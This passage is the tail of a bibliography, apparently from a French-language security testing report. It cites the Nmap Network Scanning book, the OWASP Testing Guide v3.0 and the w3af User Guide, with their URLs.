[Lyo08] Gordon ”Fyodor” Lyon: Nmap Network Scanning. 2008. URL : http://nmap.org/book/.
[owa08] OWASP Testing Guide v3.0 . 2008. URL : https://www.owasp.org/images/5/56/OWASP_Testing_Guide_
v3.pdf.
[Ria08] Andres Riancho: w3af User Guide, Dec 2008. URL : http://w3af.svn.sourceforge.net/viewvc/w3af/
trunk/readme/EN/w3af-users-guide.pdf.
page 46 sur 47